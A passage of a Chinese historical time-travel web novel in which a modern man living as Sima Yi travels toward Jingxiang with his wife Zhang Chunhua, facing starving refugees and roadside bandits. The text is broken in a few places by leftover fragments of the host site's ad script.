张春华担忧地询问:“仲达,你怎么了?” 司马懿则是猛地抬眸,目光炽烈地紧盯着张春华,一字一顿反问:“春华,若是我下一次再逃,你愿意和我一起走吗?” 23. 第二十三章 “春华,若是我下一次再逃,你愿意和我一起走吗?” 司马毅情不自禁问出的这个问题,在等来张春华的答案前,他颇有自知之明地回答自己,讪笑着道:“我知晓,你不会。因为你除了是我名义上的夫人,更是粟邑县张氏的女儿。你怎么可能舍了自己的家族,跟我走?” 司马毅说完这话,便一人躲进内室去了。 尽管他自己给出的答案,与张春华原本想说的无二。但张春华还是觉得他奇怪得很,好好地为什么要问这样的问题? 明明他最先离开时,也没想过要带上自己,否则定不会写下一封和离书来。 他撕掉和离书解释的时候,虽是一派想要与自己好好过日子的模样。但张春华也看得出来,既然他肯写和离书,那么一旦到了必要之时,他会毫不犹豫地舍弃与自己的夫妇关系。 张春华虽失落,但也平静,这三年的相处,她早该知晓如今的司马毅是个什么性子。 张春华没再多虑其他,而是思考着该如何教导司马毅御马之术,以及他那些奇怪的字体,平日里用用便罢了,往后在正式的场面可不能如此。 万一他要再写和离书呢? 没过几日,张春华开始让韵竹也给自己准备普通的布衣,再将家中的一些钱银换成五铢钱,分成五六份摆在一个还没有扎上的行囊里。 她白日里会找寻府外的郊野授予司马毅骑术。 晚间便拿着几卷竹简,从司马毅写的那封和离书入手,告诉他最为标准、规矩的“离”“书”“亲”“启”等字,到底该怎么写。 司马毅学得并不认真,但在开春之前,他还是基本掌握了御马之术,以及弄清楚了一些常用字的古今异体。 就是看见便能认得,但提笔的时候还是弄不太清具体的每一划。 筹谋着马上就要离开许都、外出游学,张春华与司马毅开始偷偷收拾行囊。张春华要带书,司马毅不愿意,直道那些竹简太重了,可张春华说司马毅的练字一日不可荒废。 于是,俩人计较之下,只带了一本《太史公书》,因司马毅不是完全没有学识,而是在基本的学识之上,有一些出奇的疏漏。 张春华想不明白他的这些疏漏从何而来,比如怎么会有人也算熟知古之典籍,但写字属文仍成问题。司马毅的解释是,他失忆了,将一些怪书的记载与真实弄混了。 张春华也不疑有他,收拾完书籍、笔墨,便开始计算金银。一袋钱放在自己身上,另一袋钱放在司马毅身上,再有两袋就摆在包裹里,还有一袋藏入马鞍之下,以防万一。 到收拾得差不多,韵竹和横槊也总算察觉出他们的异常来。要说张春华是看司马毅骑术太烂,才不辞辛劳地教他,可是布衣、钱银,还有突然又让他们准备干粮是为了什么? 于是,俩人私下计较了一通,决定主动去询问这二位主子。 韵竹端了糕点,横槊捧了热茶,俩人看似如常地侍奉张春华和司马毅。但放下糕点后,横槊没走,韵竹也没乖巧地坐在张春华身边。 而是俩人目光交错了一阵,接着,韵竹试探地开口:“说来,公子、夫人,这春意盎然,你们是要外出踏青吗?” 张春华仍在专心致志地读书,没觉得这个问题有何要紧。司马毅被张春华盯着练字,练得头昏脑胀,见韵竹发问,顿时注意力转移,笑道:“怎么这样问?” 横槊欲言又止,“就是你们又准备钱银、衣裳,还有干粮……” 眼见横槊扭扭捏捏,韵竹终是憋忍不住,长叹了一口气,坚定地大声:“其实我们就想问你们是不是准备离开许都逃跑,但是不想带着我们一起。” 这下,张春华都从书简上抬起眼眸,茫然地眨了眨,望向近处的横槊和韵竹。 韵竹见自家夫人总算看自己一眼,顿时委屈巴巴地蹲下身去,倚在张春华身前,啜泣道:“夫人是不要韵竹了吗?从小韵竹就是陪着夫人一起长大的,无论什么样的险境,夫人都不该抛下韵竹才是。” “夫人怎知韵竹不愿意为了夫人去死呢?”韵竹目光如炬地凝视着张春华,向张春华表明决心。 张春华一时错愕,微张了张唇。 眼瞧着韵竹情之所致,横槊也放下男儿郎的坚持,对着司马毅红了眼眶道:“还有公子也不要横槊了吗?横槊自小被公子捡回家,除了公子身边,哪里也不要去。便是刀山火海,只要公子愿往,横槊定誓死相随。” “你们、你们这是干什么?”司马毅被二人情真意切的模样弄得手足无措。莫说他们在讲一些本不存在的事情,就是真的如此,司马毅也不能接受。 旁人愿意为自己付出一切的好意。 这样泼天的好意让自己既感动又惶恐。他真的很怕,自己终有一日离不开这屋室里的每一个人。 韵竹更哭了起来,横槊也是微为哽咽。 司马毅扶他们不是,不扶他们也不是。一时竟不知是该先安慰,还是先解释。他懊恼地挠着头,只觉得这比练字还要为难。 张春华则是倏尔微微一笑,摸了摸韵竹的脸颊,顺便替她抚去眼角的泪水,缓缓说道:“做什么呀?又不是真的要抛下你们。便是你们公子如此,韵竹,我你还不知晓吗?就如你所说,我们从小一起长大,无论生死都是要在一起的。” “我们不是要逃,但确实想离开许都一阵。”张春华又轻拍了拍韵竹的手掌,以示安慰。 韵竹眨巴着朦胧的双眼,不能理解地反问:“既然不是要逃,只是离开一阵,为什么不带上婢子与横槊?你们明明都习惯了我们的伺候。” 司马毅说:“实在是不方便啊。这本就是背着曹操的耳目偷偷出行,两个人已经够多了,再加上你俩,也太大阵仗。” “可是……”横槊想要反驳。 张春华耐心地告诉他们,“其实,不仅如此。除了是我们四人同行、阵仗太大以外。还是因为我与你们公子需要留下心腹在许都照看。到底曹操没有完全放弃盯着仲达,万一又派晚雪一类前来试探,我们不在,你们也好帮我们搪塞一二。甚至情非得已之时,你们二人可以假 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 扮我们。” 张春华如此说道,韵竹和横槊才算是彻底明白过来。 “但是夫人,韵竹舍不得离开你。”韵竹不依不饶,虽是不再哭了,但下一瞬更往张春华的怀里钻去,撒娇。 张春华忍俊不禁,继续解释:“我同仲达只是外出游学罢了,短则几月,长则一两年,定会回到许都的。便是仲达不回来,我也还要回来接你。” “韵竹,不仅是你离不开我,我这一辈子啊也没有办法离开你。”张春华笑着,抱了抱韵竹。 韵竹这才心满意足地“嗯”声。 眼见着两个姑娘家主仆情深,司马毅望之感慨之余,更觉得扎眼、嫉妒,他还从没抱过张春华呢,更不敢奢望,有一日张春华会对自己说出类似的话,这辈子她都离不开自己。 可自己又是那样渴望。 如果真的决定不回来了,自己可以强行把张春华绑在身边吗? 司马毅的目光幽邃,紧盯着张春华一眨不眨。横槊听了张春华的话,则更是悲戚,继续追问司马毅,“公子还是想要走吗?若是这一遭夫人带不回公子,公子是不是再也不会回来了?” 司马毅闻言一愣,哀默地看向横槊,突然不知该如何回答。坦白吗,当是会伤横槊的心。可是不坦白,他也不想欺骗横槊。 旋即,横槊一把抓上司马毅的臂弯,一字一顿地郑声:“无论公子去哪里,若是不回来,还请告知横槊一声,横槊不远万里,也定要去到公子身边侍奉。” “可是,横槊,”司马毅抓上那只抓着自己的手,多想告诉他,他不必对自己如此忠心,因为自己本不是那个救他、捡他的司马懿。可是为了这个理所当然的身份和安逸的生活,司马毅开不了口。 司马毅嗫嚅了半晌,也只拍了拍横槊。 张春华望他们儿郎之间的内敛和含蓄,依旧笑着,替司马毅安慰横槊道:“好了,也不是真的就不回来了。说不定走过这一遭,你家公子明白乱世之艰辛,无论到哪里都躲藏不过。不仅会随我一起回许都,还会找回往日的野心和抱负。” 横槊听了,总算表情稍稍放松。 韵竹仰头望张春华,好奇地询问:“夫人,你要和公子去哪里游学?” “荆襄。”张春华坦白回答。 “为什么是荆襄?”横槊也不禁奇怪起来。 司马毅这下倒是侃侃而谈,“因为如今的荆襄,算是九州之内较为繁盛、安稳之地。若是连荆襄都满是民生疾苦,这天下怕也是要烂了。以及,我素听闻荆襄名人雅士众多,若不得不迎接这注定的命运,我也想跟着他们耳濡目染、学习一番,该如何做个翻手为云、覆手为雨的能臣。” “其实主要还是为了一睹他们的风采。”司马毅小声地补充,不敢明确地告知身旁其他三人知晓。 “可公子本身也是名人雅士。”横槊坚定不移地回答。 河内司马防第二子司马懿,乃司马氏八达之一,机敏聪颖,文成武就。 只不过已不是,或者说还不是如今的司马毅。 24. 第二十四章 许都至襄阳一路,遥遥六百里。黄沙漫天的古道上,起先全都是逆着司马毅与张春华方向的行路者。 其中,不乏一些布衣文士,驾着瘦马或是毛驴,有一二小童为伴,背书裹卷,风尘仆仆。 司马毅望之惊讶,与张春华感叹道:“这些人还真是嗜书如命,这样艰难的赶路条件,如今的书籍、竹简又都厚重,他们还要千里迢迢地背到许都去,真乃神人。只是,他们都去许都做什么?” 张春华闻言,顺着司马毅的目光也去打量那些过路的文士,见他们有的即使疲累也不改端方之态,有的坐在驴马之上与座下小童侃侃而谈。 张春华微笑回答:“他们大多都是想去许都投靠明主的。这些书简不仅是他们挚爱之物,更是他们多年积累、潜渊所写下的著作。不仅是他们的一切,更是他们的敲门砖、通路石,自是到哪里都得带着。” “只是,这样多、前仆后继的能人志士……”张春华刚微微感慨起来,司马毅便与她有同样想法地又问,“他们如此对许都趋之若鹜,总不能每一个人都受到重用吧?” 张春华随之接着往下说去,“自是能成者少,籍籍无名者众。乃至这数多能人志士之中说不定没有一人可以博得许都那些官吏的青睐。” “那他们还要去?”司马毅不甚理解。这和万千过江之鲫奢望唯一一个跃龙门的机会有何区别?莫说是唯一,就是在未来几百万人去考几万个编制职位,司马毅也觉得由于太难而不想掺和。 张春华听了,却依旧稀松平常地回答:“即使机会之渺茫,可是不去做就什么都没有。去做了,万一有所成,自私点说可以建功立业,宏伟点说能够匡扶社稷、肃正朝纲。自然人人都想一试。” “更何况,这些敢于走出家门的能人志士,在地方多小有名气。他们大多恃才傲物,都坚信自己才是那个真正身负才学之人。” “他们之间,既有追名逐利之辈,亦有迫于形势不得不依附之辈,还有真正一番赤忱、想要施展心中抱负之辈。” 张春华说完,目光就一直还胶着在那些来往络绎、源源不绝的布衣文士身上。 司马毅更加慨然,又道:“若我也如他们一样,汲汲于仕途之路,是不是也会成为万千落败者中之一?” 毕竟,自己比于他们,莫说是真才实学,指不定连一点胆识和远略都没有。 自己在未来只是个普普通通、刚刚毕业的大学生。 见司马毅神色怅然、语气自卑,张春华言辞恳切地宽慰他,“倒也并非如此。仲达,你我如今布衣荆钗,行走其间,自是觉得与他们没什么不同。可事实上,自你出生便与他们有着天壤之别。你来自河内司马氏,父亲是京兆尹司马防,上有闻名天下的长兄司马朗,你自己本也已经知名于许都。就连曹公都向你明示了招揽之意。” “你比他们有更加通畅且昭然的前途。”张春华又一字一顿。 司马毅听出张春华的言外之意,他因为出身、父兄,乃至原本司马懿的缘故,比于这些过江之鲫更有捷径可走。 他们苦于艰难的机会,自己唾手可得。自己本该更加珍惜、好好利用才是。可是,司马毅如今还不愿意。他从不想做个公务人员,就是到了古代也不愿从事政治、行走仕途。 他只想自由自在的。 但经过张春华的这一番解释,司马毅也算是明白了周遭这些布衣文士的行路之艰、意志之定。于是,望着他们的目光渐渐由好奇、探究变为欣赏、敬佩。 除了布衣文士,其实更多,与他们擦肩而过的是一群又一群衣衫褴褛、形容枯槁的难民。他们大多拖家带口,上有黄老、下有垂髫,彼此扶持着,步履蹒跚地向看起来似乎更有生存之机的许都涌去。 司马毅望着他们,在这早春之际,尚有寒风凛冽,却衣不蔽体,便情不自禁地打了个寒颤。从前,在未来,母亲总是说他们这一代年轻人生活条件好,自己还不以为然。可如今见到这些难民,司马毅方知饶是自己穿着布衣,也要比他们生活条件优渥得多。 司马毅看着看着,不忍地撇开眼。可每一次重新定睛向前,就还是这样破败、凄惨的画面。 到已然有些避无可避。司马毅注意到一个消瘦的妇人拉扯着一个瘦弱的女童。那妇人的脸颊已经痩削得不像样子,颧骨突出、两颊凹陷,皮肤暗淡、粗糙,身上的破布烂裳松松垮垮地罩着,若非有一两根勉为其难纠缠在一起的系带,恐怕风一吹就会给那妇人连人带衣服都吹走了。 那女童也可怜得很,满目惨然地跟在妇人身后,步子小、又巍巍不稳,显然跟不上妇人的步伐,以致有些被拖拽着前行的架势。女童不停地喃喃:“阿娘,我好饿。” 可那妇人就好像聋了、哑了,失去了魂魄一样,只顾往前,根本不曾搭理自己身后的孩儿。 直到女童再走不动一步,“哐当”一声摔倒在地,迷蒙地眨了眨眼,而后又沉沉地闭上,再猛然惊醒地睁开,最后困顿得半迷失了神智。 妇人依旧是愣愣的,回眸望向自己倒地的女儿,五指微张,好像还没反应过来有什么温热、珍贵的东西挣脱了自己的掌控。 更有路过的其他流民,波澜不惊地对那妇人说道:“你女儿她饿死了。” “是啊,饿死了。” 还有流民更兴奋起来,“小妇人,既然她饿死了,不如你把她的尸首卖给我们?我们出十个五株。你拿着钱去前面的客驿买糕饼吃,我们也能饱餐一顿。” 说着,那几个兴奋的流民愈渐逼近倒在地上女童的身躯。 买女童的尸体却可以饱餐一顿,这是什么意思? 司马毅仓皇且不可置信地冥思苦想着,直到接受这昭然若揭的言外之意。他瞠目结舌地看向身侧的张春华,张春华面露不忍,已是微微红了眼眶。 在张春华那张娇嫩、匀称的小脸上,粉红的樱唇轻启着,哀婉地说道:“饥荒之年,人人自危、易子、易父而食。” “怎么可以?”司马毅不管不顾地抬起手来,好像这样就可以拂开张春华的言语给他带来的所有联想。 他愤恨地更道一句,“那孩子分明还没有死!” 说着,他急忙调转马匹的方向,朝着那女童倒地之处而去,在众多逼近的兴奋难民附近停驻,抓着包裹里的干粮和水,慌张下马。 “让开,都让开。”司马毅努力拨开人群,先是瞪了一眼那发怔的妇人,而后怒斥周围兴奋的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 难民,“你们想做什么,她还没有死,没有死!” 说着,司马毅将女童抚坐起来,不停地轻唤:“女娃,醒醒,醒醒……”直至女童微微地再睁开眼眸,他拔掉水囊上方的木塞,将囊口靠近到女童唇边,稍稍倾斜,使女童可以缓慢、少许地喝进去一些水。 待小半壶水都喂了进去,女童总算恢复了一些。眼眸清明地微张,但仍旧虚弱得厉害。她甚至反应不过来,面前的司马毅是谁、在对她做什么? 司马毅未有迟疑,紧接着便从自己的干粮袋里,取出一块胡饼递到女童手边,温声道:“吃吧,把这些吃下去你就能活着撑到许都,等到了许都就会有新的生机。” 女童懵里懵懂地眨着眼。她刚抬手,欲去接那胡饼。一直怔愣的妇人却好像突然回过神来,目光如炬地紧盯着那胡饼,而后不待女童的手指触碰上去,她已经冲过来猛地夺走。 司马毅回眸望向她,正想骂人,“哪有母亲与自己孩子抢东西吃的!”可是,话音刚落,只见那妇人抱着胡饼,避开众人,狼吞虎咽起来。 三两口便将一块胡饼全都吞咽下去。妇人的眼里喷薄而出晶莹的泪水,濡湿脏污的脸颊,落下一道道灰泪。 司马毅终是不忍再说那妇人,索性重新取出一块,再次递给女童。这下,他放聪明了些,牢牢地将胡饼拿在手中,并用半边身躯遮挡,不给周围其他流民任何机会。 可那些兴奋的流民本也志不在此。他们目光定在司马毅还略微鼓起的食袋上,只稍稍提醒了一句:“小公子,这些饼……”说完,不等司马毅答应,他们已经着手去抢。 司马毅顾着女童,也没维护自己的食袋。眼见食袋被抢去了,也没多说什么。直到看着少女接过胡饼,大口大口地啃咬起来。 方才瞪向那群兴奋的流民。 可是,很快,司马毅便瞠目结舌,那些人得了胡饼,并不知足,三下五除二地吃完过后,不仅又在上前,还吸引了周围其他流民全都逼向自己。 其他流民纷纷哀求地开口:“公子,也施舍我们一些吧?”其中更有伛偻老者,两行浊泪不断。 司马毅懵了懵,他看了看周围和手上,自己已经没有余粮了。 那些兴奋的流民则朗声说道:“这位公子身上没有,他旁边的女郎君身上一定还有!快去抢啊,不然就没得吃了。” 然后,一群人乌泱泱地涌向不远处的张春华。 司马毅担心,紧呼了声:“春华,小心——” 张春华已经识相地提前将食袋取了出来,乖巧且警惕地远远伸手,随便将食袋递交到一位流民手中。 有三四流民去分胡饼了,还有更多的留在原地。他们哭求着张春华,“女郎君,再给一些吧。” “可是、可是,我们已经没有了。”张春华郑重其事地告诉他们。 那几个兴奋的流民却是不依不饶,目光从张春华身上,移向她坐下的马匹,肆无忌惮地又道:“你们没有粮,还有马!把马给我们分食了!” “快去抢啊,去抢马肉!”铺天盖地的嘶吼之声若轰隆巨雷滚滚而来,又一直不曾间断。 司马毅傻眼了,当前的局面,他和张春华又该如何是好? 25. 第二十五章 正当司马毅一筹莫展,完全不知该如何应对之际。他几乎本能地拨开如狼似虎一般冲向张春华的难民们,挡在张春华面前。 他掷地有声,但又几无作用地嘶吼道:“你们到底想做什么?” 可是,回答他的只有,难民们愈加渴望的目光,和更加放肆的言行:“这马是我们几人先发现的,身子归我们。” “只要给我一块肉便行了。” “就算只是肠子、内脏,也都可以。” “休想,你们休想!”司马毅又在嘶吼,更张开双臂,努力想要将张春华和坐下马匹挡在身后。 他绝无可能把马匹让给这群难民,就算他们确实可怜、食不果腹。但是,他与张春华想要顺利地去到荆襄,就离不开这两匹马的载送。 先顾己,再虑人。 这是司马毅从前在未来就已经学会的道理。自己可以受委屈,若只是一点也无有大碍,可是事关去向存亡,他既不能置自己于苦难,也不能慷张春华之慨。 但他在此时此刻更加清楚地认识到,无论自己的意志如何坚定、如何想要守护自己在意的东西,一旦自己没有能力,全都是痴心妄想。 他甚至没有办法对抗面前这些看起来凄凄惨惨的可怜难民们。 他只能无能狂怒。 就在难民们快要将自己和张春华淹没之际,司马毅绝望地闭上了双眼。如果一定要有此一难,他也不想亲眼观之。 可是,良久,自己预料之中被推搡、拨弄、乃至摔打在地的无奈和疼痛并没有袭来。换而是周围吵闹的声响渐渐平息,更有几许痛苦的哀吟缓缓响起。 发生了什么? 司马毅诚惶诚恐地再次睁开眼睛,先只是一只眼,试探地一观,瞥见周身原本堆聚的难民已退开两三尺之远,更有一人身上略微挂了些彩,手臂被锋利的锐刃划开,鲜血汩涌而出。 那人捂着自己的手臂,满目惊恐地望向司马毅身前。 眼见局势逆转而上,司马毅一时高兴,又睁开了另一只眼。又见不知何时张春华已经从自己身后一跃到自己身前,手中横举一柄不知从哪里抽出的短匕,浑身绷直地警惕应对面前的一众难民。 依稀间,司马毅还能看清那匕刃上残留的血痕。 春华她,为了自己又伤人了。 司马毅感慨地想着,既是敬佩,又是心疼。再定睛望向张春华明明纤弱却挺得笔直的背影,司马毅只觉得可笑地微微摇头,他竟然在一个瘦弱的小姑娘身上,看到了如巍巍山峦一般的浩瀚和雄伟。 司马毅情不自禁地红了眼眶。 那柔弱的少女又如炸开满身荆棘的刺猬一般,对着面前一众难民,声若寒冰道:“若是你们再上前一步,就不要怪我手中兵刃不长眼。想来你们流离失所、烂命一条,即便为我不慎所杀,也没有人会在意。更别谈,会有官署为你们鸣冤、报不平。” 这下,那些难民倒是连一点声响和蠢蠢欲动之态都不敢表露。 张春华旋即回眸,目光坚韧而锐利,望向司马毅,冷静郑声:“仲达,去驾你的马来,我们这就离开。” 司马毅还反应了好一会,才后知后觉地答应着,匆匆往自己弃下的马匹身边跑去。他努力快速地翻身上马,而后驾着高头大马疾步到张春华身旁。 张春华一边满目警告地举着匕首往后退去,一边摸索着自己马上的辔绳,待完全将辔绳抓牢,更利落、干净地也翻身上去。 张春华又望司马毅一眼,轻声:“走。” 俩人便一道策马疾驰、自人群而出。直至将那群难民远远地甩在身后,即使司马毅回眸、极力纵目观望也再看不见。 张春华才长长、放松地抒了一口气。 司马毅静静地看着她,没有说话,只余满目的钦佩和欣赏。司马毅愿称张春华为女中豪杰、巾帼不让须眉。不仅如此,她在自己心目中更崇高、伟大到成为自己的救命恩人一类。 她是那样的夺目、耀眼,与自己见过的未来人都不同。又是那样地让自己感激。 因为感激,司马毅想要好好地珍惜还有她在身边的每一天。 张春华这会才得空关心司马毅,询问:“仲达,你还好吗,没有受伤吧?” 司马毅点头如捣蒜,心里和面上都乐开了花。他自己告诉自己道,你看,春华她最先关心的竟然还是你。她就算不喜爱你,也是十分看重你的! 司马毅转而叹息一声,又主动愤愤地与张春华攀扯道:“那些难民真是‘狗咬吕洞宾,不识好人心’。我好心救助他们,还将干粮分给他们,他们却以德报怨,要抢我们的马匹,可恶、实在可恶!” 张春华见他过于愤慨,先是憋忍不住地微微一扬唇。而后,顺着他话,稍稍严肃了神色,更加感慨地说着:“如何能指望在饥饿之中的百姓可以以德报怨?在他们看来,你对他们是不是施恩,已经不重要了。他们只知晓,你是身有粮食之人,只要牢牢地把控住你,便可以有更多的粮食可以裹腹、充饥。” “对于连最简单的食饱、衣暖都无法被满足的人来说,这世上便不存在纲常伦理、道德品行。不仅是他们,便是我们到了那般境地,也会全然忘记自己的本心。饿到极致的人,往往会同样可憎到极致。” 张春华一时说不清楚,自己是同情那群人更多,还是憎恨那群人更多。即便他们有太多的逼不得已,可他们确实伤害了自己与司马毅的好心。 司马毅也怅然起来,又道:“我现在明白了,无论我有多么同情他们、想要帮助他们,但倘若时机不对、自保能力不足,后面的这一路我是再不敢招惹他们。” 万一又如这般……司马毅想都不想敢,拼命地摇头,欲将今日际遇的画面全都甩出脑海。 张春华抿了抿唇,有些迟疑地继续说道:“若是真想救这一群人,施舍、馈粮,并不能改变根本。唯一能改变根本的就是改变这个世道。让君王清明、官吏清廉,致使百姓安居乐业,便是天灾人祸,也留有救助之法。” 可是,如今的天子臣民皆不能如此。 张春华目光惆怅地回首望去,虽再看不见那群熟悉、伤害了自己的难民们,但还有无数同那群人一般苦于生存的其他难民。 他们可怜、可恨,又可悲。 司马毅没料想张春华会说出这样一番话。既是心有慨然,又是惊讶不已。他慨然,若是自己随随便便就能做到张春华所言那般,可以从根源上救助那些难民就好了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 但他也只敢想想,确定自己无能,也不愿付出太大的努力和代价。所以,他是救不了这群难民的。 另外,他对张春华的清晰认知感到惊讶不已。按理来说,古代闺阁里的女子不是该只懂些琴棋书画、乐舞女工。但是张春华不仅会武艺,还有许多对于天下局势、百姓臣民的真知灼见。 “春华,你本比我更适合做曹司空的臣属。”司马毅有感而发,坦诚相告。 张春华闻言,则是愣了愣,而后不以为然地微笑回答:“仲达,你是在揶揄我吗?我一介女流,怎可出仕?况且,我也只是些浅薄愚见罢了,真与那些经天纬地之人相比,渺茫如微尘。” “不,你至少比我有高见得多。”司马毅诚挚又道。 张春华更莞尔,“那若是有机会,司马公子能跻身仕途,我定在其背后多多言语几句。只盼到时候,司马公子不要嫌我愚钝才是。” 司马毅跟着她,也笑,一边摇头,一边微叹:“春华,你只是没有生在好时候。若是你能生在许多许多年以后,一定可以成为一个出色的女政治家。到时候,该是我在你背后吹枕边风才是。我可以傍上成功女士,吃软饭了。” 司马毅倒是没再想,他会与张春华分别。 张春华听不太清他时而大声时而又小声的话语,只隐约知道其中的意思。张春华还是觉得不可能,但她没再反驳,只嗫嚅着小声:“若是仲达你能恢复记忆,或是寻回从前的志向与抱负,定会更加出色。并且明白,我为什么说你是在揶揄我了。” 此一番话后,张春华只露出一个意蕴深长的笑靥。 司马毅顿时觉得从前、真正的司马懿在张春华心中定是个极伟大、仰慕的存在。怕是自己努力一生都未必抵得过他。 司马毅失落、嫉妒,乃至恼怒,但又莫可奈何。他驾着马一往无前地向荆襄而去。只盼之后的路途,再不要让自己和张春华遇上如今日一般的危险才好。 到越靠近荆襄,原本多数是与自己背道而驰的人群,变作同路而往。依旧是不在少数的布衣文士和数之不尽的可怜难民。 司马毅又同张春华感慨,“这些人定也如同向往许都一般,向往荆襄。我从前就知晓荆襄刘表在乱世中虽不杰出,但治理荆襄还算得当。以及,收容了一位以仁治天下的英雄豪杰,定也有不少人想去投靠这位英雄豪杰。” 这些倒是张春华不太清楚的事情。张春华不慌不忙地反问:“你说的那位英雄豪杰是谁,竟能与荆州牧刘表匹敌?” 司马毅郑重其事,回答:“自然是刘备刘皇叔。” “可据我所知,他也并不杰出。”至少在张春华所知晓天下大势的这些年,刘备除了逃亡,就是在不停地投靠其他人。 先是在小沛收留吕布,而后被吕布赶了出去,投靠曹操。因为有诛杀曹操之意,转投袁绍。后来,袁绍败了,他才投向如今的荆州牧刘表。 对于张春华的质疑,司马毅笑笑不解释。他总不能告诉张春华,自己知道刘备未来会成为鼎足于天下的三方之一。 正当他难得在张春华面前故作高深一番,前方忽有几个文士、仆僮仓皇往回跑,大叫着:“前面、前面鹊尾坡有匪寇横行。” 26. 第二十六章 鹊尾坡,荆州新野城外一处山林,因地势呈缓坡,又形同鹊尾而得名。 乍一听见有人传言前方匪寇横行,司马毅本能地看向张春华,向张春华寻求逃命的办法。 张春华想都没想,直言道:“掉头,现在就掉头。” 于是,司马毅紧跟张春华的动作勒紧缰绳,驱使马首转换方向,朝着来处扬鞭而去。 但由于同样要逃命之人太多,马匹也并不能畅快地通行。 没一会儿,周围便被十数个穿着布衣、身上到处打了补丁的男人们环住。这些男人们岁数各异,最值青壮年的莫过于一个右脸刀疤男,和一个拿着菜刀的方脸男。 其他还有老叟与少年、稚童无数。这些人大多兵刃简单,不是菜刀,就是镰刀、锄头和棒槌。 瞧着也不像是什么组织、纪律严明,凶神恶煞的厉害山匪,应当都是些虚有其表、主要靠恫吓劫掠财物的普通山民。 司马毅看见他们,如此想着。 但那些山匪自人群的最外围往内,瞧见一些贫苦的难民,不屑多看一眼,或是提溜着、或是踢打着,对那些难民不耐烦地说道:“滚滚滚,穷鬼们都赶紧给老子滚。” 随之,有不少难民落荒而逃。 而后是那些布衣文士。山匪们望见这些文士,也不说话,主动伸出手来,勾弄了弄,就有不少文士自觉地掏出全身财物交付上去。 到了一青衣文士面前,山匪们照常地摆动五指,但那青衣文士满面羞愤,迟疑了半晌后,义正辞严地斥责道:“光天化日、朗朗乾坤,你们拦路、劫掠,眼中可还有律令、王法?” “你们且等着,待到了新野城内,我一定寻刘皇叔状告你们!”那青年文士慷慨之间,怒红了两边面颊。 为首的右脸刀疤男,听青衣文士如此一说,顿时轻蔑发笑,而后冷冷地瞪向青衣文士,只一眼,便立马揪着青衣文士的衣襟,将青衣文士从狭窄的驴车之上拽了下来、摔在地上。 青衣文士吃痛到秀气的面容扭曲,洁净、发白的衣衫间也被染上尘土。 青衣文士不依不饶,更指着刀疤男道:“你们这群歹人,行凶作恶,违逆天道、有辱斯文,日后定是要遭报应的!” “报应?”刀疤男冷笑着重复一声,望向青衣文士,不屑地说着,“老子的报应是什么不知道,但是老子知道,你的报应就是老子。” 话罢,那刀疤男更狠踢了青衣文士一脚,接着弯身下去,靠近到青衣文士脸边,再次揪起青衣文士的衣襟,不待青衣文士再说其他,一下将手中断刀刺进了青年文士的腰腹。 鲜血汩涌而出,青年文士望之吃痛、错愕,很快就昏死过去。 人群顿时大喊起来,“杀人了、杀人了!山匪杀人了……” 就连原先已经走出一段距离的难民们听见如此呼喊,也纷纷逃命一般地朝着荆州新野方向,狂奔起来。 刀疤男没急着起身,换而是那拿着菜刀的男子没好气地反吼回去:“叫什么叫,山匪杀人难道不是天经地义?况且,这小白脸哪有那么容易死,你们最好都听话点,赶紧把钱财交出来,待我们离开,你们赶去救他,还来得及。” 司马毅这才发现,此些山匪并非如他所想。他们虽然打扮、装备不够齐整,但是他们是真的会动刀杀人,乃至比他见过的张春华还要果断、凶狠、利落。 司马毅惶恐起来,更加担心地望向张春华。 张春华面容肃正,眉眼稍瞋,俨然满身的警惕。 未几,那刀疤男总算起身,继续朝着布衣文士们一个一个地收钱。有了青衣文士的前车之鉴,其他布衣文士皆不敢再置喙分毫,全都顺从地将身上家当递交出去。 一直到了司马毅和张春华面前。 最先过来的是那另一个菜刀男。菜刀男望了望他们,又望了望他们胯/下的高头大马,喜出望外道:“大哥,快过来看啊,这俩人竟然还有马,定是富贵人家的公子、女郎。劫他们,他们一定有很多钱。” 司马毅不可置信地望向那菜刀男。 但他还来不及嗔怪菜刀男,那刀疤男闻声也走上前。 刀疤男先只观察了一会他们身下的两匹马,冷声道:“把他们马劫了,带回寨子里给弟兄们骑。还有……”说着说着,那刀疤男的目光缓缓抬起,望向司马毅身旁的张春华。 刀疤男顿了顿,接着惊喜一笑,更道:“还有这女郎君倒是生得标致。别看只穿了一身布衣,但这身型匀称、玲珑,可不像是贫苦人家能养得出来的。我瞧着这娘们不仅好看,还好生养。二刀子,把她也带回寨子,给老子做压寨夫人。” 说完,刀疤男更逼近张春华马下一步。 司马毅刚想怒斥刀疤男,痴心妄想。被称作“二刀子”的菜刀男已是十分为难地又在开口:“可是,大哥,你上次看上的那个小丫头,没多久就被新野来的赵子龙带走了。那赵子龙还打了你一顿。要不,这强抢民女的事情,我们还是别做了?” 赵子龙?司马毅,闻言,心下一惊又一喜。这可是三国时期刘备麾下的名将啊。若是自己也能一睹他的风采,就好了。 但那刀疤男闻言,顿时回眸怒视身后的菜刀男“二刀子”。二刀子怯生生地闭上了嘴,刀疤男又道:“不过是上次不巧,劫到了赵子龙的相好罢了。这次的这个还能再是他赵子龙,或者刘备、关羽、张飞的相好吗?” “老子瞧她与这小郎君一道,说不定是私奔的富贵人家女郎。把他们都带回去,到时候杀了这小子,再办了这娘们。等新野的人来还能奈老子何?” 刀疤男话罢,再次望向张春华,微微带笑道:“小丫头,你自己下马,还是由为夫亲自抱你下马?” 眼见刀疤男的言语已经孟浪、轻浮起来,司马毅霎时收回徜徉的思绪,稍侧马身,一把拦在刀疤男面前,厉声正色道:“你休想!今日,你若是敢动她一下,我日后定叫你求生不得、求死不能。” 刀疤男听了司马毅的话,先是愣了愣,仿若被震慑到。而后就当司马毅庆幸,不仅是刀疤男,就连菜刀男“二刀子”也哈哈大笑起来,讽刺他,“小子,你凭什么?凭你长得人模狗样却未必打得过老子吗?” 刀疤男于是又一下,直接揪着司马毅,将他也从马上摔了下来。 司马毅滚落在地,吃了满嘴的灰土。 二刀子赶忙去牵司马毅的马,怕将马吓跑了。 司马毅吃痛,但还是利落地站了起来。他拍了拍身上的尘土,更加锐利地注视着面前的刀疤男,郑声:“我说,今日有我在,你休想碰她!” 刀疤男再次上前,举着断刀,便要去刺司马毅。 